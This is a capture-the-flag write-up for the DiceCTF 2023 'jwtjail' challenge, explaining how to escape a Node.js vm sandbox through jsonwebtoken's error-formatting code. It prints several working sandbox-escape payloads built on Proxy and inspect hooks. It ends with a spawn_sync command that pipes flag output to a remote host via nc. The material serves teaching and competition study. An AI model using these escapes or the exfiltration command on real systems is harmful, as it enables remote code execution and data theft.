Tags: web jail
Rating: 0
# jwtjail (Web) - 3 solves
> A simple tool to verify your JWTs!
>
> Oh, that CVE? Don't worry, we're running the latest version.
>
> author: Strellic
*Read the author's writeup [here](https://brycec.me/posts/dicectf_2023_challenges#jwtjail)!*
## Challenge
The challenge exposes a website which verifies JWT (JSON web tokens) with the [jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) NodeJS library. The description references a recent invalidated CVE on this library, but the provided package.lock requires the latest version anyway.
There is a HTML frontend to the challenge, but it is not important, so I will only discuss the server code - which is fortunately pretty short:
```js
"use strict";
const jwt = require("jsonwebtoken");
const express = require("express");
const vm = require("vm");
const app = express();
const PORT = process.env.PORT || 12345;
app.use(express.urlencoded({ extended: false }));
const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 });
process.mainModule = null; // ?
app.use(express.static("public"));
app.post("/api/verify", (req, res) => {
let { token, secretOrPrivateKey } = req.body;
try {
token = unserialize(token);
secretOrPrivateKey = unserialize(secretOrPrivateKey);
res.json({
success: true,
data: jwt.verify(token, secretOrPrivateKey)
});
}
catch {
res.json({
success: false,
data: "Verification failed"
});
}
});
app.listen(PORT, () => console.log(`web/jwtjail listening on port ${PORT}`));
```
Internally, the service "unserializes" the input by running the input as a JS script with the NodeJS `vm` module. This module is not intended to provide a sandbox and there are many published escapes, but the setup disables code generation from strings, making it trickier.
```js
const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 });
```
We can see the input is wrapped in a script that applies strict mode on the input and is provided a context with a null prototype Object as `this`. In addition, `process.mainModule`, which is normally used in escapes to get command execution, is nulled out:
```js
process.mainModule = null; // ?
```
Finally, our "unserialized" return value from the input is fed into `jsonwebtoken.verify`:
```js
token = unserialize(token);
secretOrPrivateKey = unserialize(secretOrPrivateKey);
res.json({
success: true,
data: jwt.verify(token, secretOrPrivateKey)
});
```
The challenge is basically a NodeJS sandbox escape where code generation is disabled and the VM has a null Object context. In addition, we need to work around the `process.mainModule` restriction, but that turns out to be pretty simple.
## Solution
In general, if we try to use a standard vm escape on this setup, we will see this error:
```
EvalError: Code generation from strings disallowed for this context
```
Disabling code generation from strings in the `vm` module actually [applies](https://github.com/nodejs/node/blob/main/src/node_contextify.cc#L272) a [flag](https://v8docs.nodesource.com/node-0.8/df/d69/classv8_1_1_context.html#ab67376a3a3c63a23aaa6fba85d120526) to V8. Since the flag is implemented in V8, it is generally effective, but one can get around the restriction by interacting with an object that comes from a different context.
More specifically, we can use the `constructor.constructor` of any **non-[primitive](https://developer.mozilla.org/en-US/docs/Glossary/Primitive) object** that comes from outside the context. (The constructor of an Object is a Function, and the constructor of a Function is, well, a [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function).)
The difficulty comes from how to access an object from another context. In addition, we cannot use the `arguments.caller.callee` trick to traverse the call stack because of strict mode. On top of that, `arguments` is a special object which seems to be properly in the context of the called function. (One could easily trigger a function call with no arguments with a getter, or a Proxy lookup. Sadly the arguments to a Proxy's get function are all primitives or from the target context.)
To find an instance where we can get access to such an object, we will want to dive into the code of `jsonwebtoken` to figure out what exactly happens to our input. The verify function is defined [here](https://github.com/auth0/node-jsonwebtoken/blob/master/verify.js#L21), and I will paste snippets as I go through the code.
The first thing done to our input is that the JWT itself is verified to be a string:
```js
if (typeof jwtString !== 'string') {
return done(new JsonWebTokenError('jwt must be a string'));
}
```
This check instantly throws out the JWT argument as being useful, and we will just want to provide a valid normal JWT string as this argument.
We see that if our key is a function it might be used as a callback, but this is only if a callback is set, which it isn't:
```js
if(typeof secretOrPublicKey === 'function') {
if(!callback) {
return done(new JsonWebTokenError('verify must be called asynchronous if secret or public key is provided as a callback'));
}
getSecret = secretOrPublicKey;
}
```
Because we can't provide a `KeyObject`, we fall to this code, which uses NodeJS APIs to turn our input into a key:
```js
try {
secretOrPublicKey = createPublicKey(secretOrPublicKey);
} catch (_) {
try {
secretOrPublicKey = createSecretKey(typeof secretOrPublicKey === 'string' ? Buffer.from(secretOrPublicKey) : secretOrPublicKey);
} catch (_) {
return done(new JsonWebTokenError('secretOrPublicKey is not valid key material'))
}
}
```
We go deeper into [createPublicKey](https://github.com/nodejs/node/blob/main/lib/internal/crypto/keys.js#L612) which goes into [prepareAsymmetricKey](https://github.com/nodejs/node/blob/main/lib/internal/crypto/keys.js#L529). One code path falls through to throwing an Error because the key isn't a string, buffer, or `jwk` object:
```js
// Either PEM or DER using PKCS#1 or SPKI.
if (!isStringOrBuffer(data)) {
throw new ERR_INVALID_ARG_TYPE(
'key.key',
getKeyTypes(ctx !== kCreatePrivate),
data);
}
```
And finally in the [handler](https://github.com/nodejs/node/blob/main/lib/internal/errors.js#L1208) for `ERR_INVALID_ARG_TYPE`, which calls [determineSpecificType](https://github.com/nodejs/node/blob/main/lib/internal/errors.js#L877), we find something interesting - code that either formats our input's constructor's name into a string or runs the `inspect` code on our input:
```js
if (typeof value === 'object') {
if (value.constructor?.name) {
return `an instance of ${value.constructor.name}`;
}
return `${lazyInternalUtilInspect().inspect(value, { depth: -1 })}`;
}
```
Finally, we have some code that we can abuse to leak obejcts! All the solution code below needs to be wrapped in a function call like so:
```js
function(){
}()
```
### Abusing the name being formatted
This is the intended solution. One may know that formatting a value in JS into a template calls `Symbol.toPrimitive` if it exists. Providing a `constructor.name` value that has a `Symbol.toPrimitive` key allows us to trap a function call, and the third argument of the `apply` handler is an Array that comes from outside the context!
```js
let a = function() {};
let handler = {
apply(a, b, c) {
let process = c.constructor.constructor('return process')();
// See later section from how to leak flag
}
}
a = new Proxy(a, handler);
a = {constructor: {name: {[Symbol.toPrimitive]: a}}}
return a;
```
### Abusing `inspect`
I used this solution. It turns out objects can [define their own special behaviour](https://nodejs.org/api/util.html#custom-inspection-functions-on-objects) when being `inspect`-ed by defining a Symbol attribute with value `nodejs.util.inspect.custom`. This is called with the `inspect` function itself as a parameter! We can use its constructor to escape.
(If anyone is curious, the options parameter has a null prototype.)
```js
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
let a = {
[customInspectSymbol](a, b, c) {
let process = c.constructor.constructor('return process')();
// See later section from how to leak flag
}
}
a.constructor = null; // we need to pass the constructor.name check
a = {key: a};
return a;
```
### Easier ways to path through code and see lookups
We can also use Proxy to find code paths and trace property access on our object. We can modify the challenge code to provide access to logging.
```js
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext({console}, ctx), { timeout: 250 });
```
Then we can set up a Proxy on our returned object that logs all the property accesses recursively:
```js
let a = {};
let handler = {
get(o, k) {
console.log("get", k);
return o;
}
}
a = new Proxy(a, handler);
return a;
```
Running this leads us down to `getKeyObjectHandle`, which also throws an Error that turns out to cause an inspect lookup, which could be exploited just like above!
```
> node test.js
get Symbol(kKeyType)
get type
get type
TypeError [ERR_CRYPTO_INVALID_KEY_OBJECT_TYPE]: Invalid key object type {}, expected private.
```
### Finally solving it with none of the above
While creating this writeup, I realized there is a more generic approach that can leak an object into our context that can be triggered with any property lookup on our object. Remember earlier when I said we can't use a getter because `arguments` itself is an special object? Although the arguments to a getter are not useful, the getter is a function call itself, and we saw with an above solution that by hijacking the argument to `apply` in a Proxy handler, we can escape the sandbox! Because any property lookup can trigger a Proxy get call or getter, and that function call can _itself_ be a Proxy with an `apply` handler, we can escape the sandbox with any property lookup, without even knowing anything about the internals.
```js
let a = function() { return ""; };
handler = {
apply: function(a, b, c) {
let process = c.constructor.constructor('return process')();
// See later section from how to leak flag
}
}
a = new Proxy(a, handler);
let handler2 = {
get: a
}
let b = {};
b = new Proxy(b, handler2);
return b;
```
### Taking code execution to the flag
Once we have code execution with global scope, we still have to get around the `process.mainModule` being nulled. The `process.binding` function allows us to load a native module, one of which is `spawn_sync`. This module just spawns a child and is used by `child_process` internally.
With any of the previous techniques, we can get the flag out-of-band like so:
```js
let args = {"args":["sh", "-c", "/readflag | nc HOST PORT"],"file":"sh","stdio":[{"type":"pipe","readable":true,"writable":true}]};
process.binding('spawn_sync').spawn(args);
```
## Flag
```
dice{th3y_retr4cted_the_cve_:(}
```
Self-plug:
The author mentioned this challenge is inspired by a challenge I wrote, [metacalc](https://github.com/Seraphin-/ctf/blob/master/irisctf2023/metacalc.md). That challenge is easier because an object without a null prototype is directly leaked into the VM, though the intended solution for that one involves using a getter and attacking the call chain.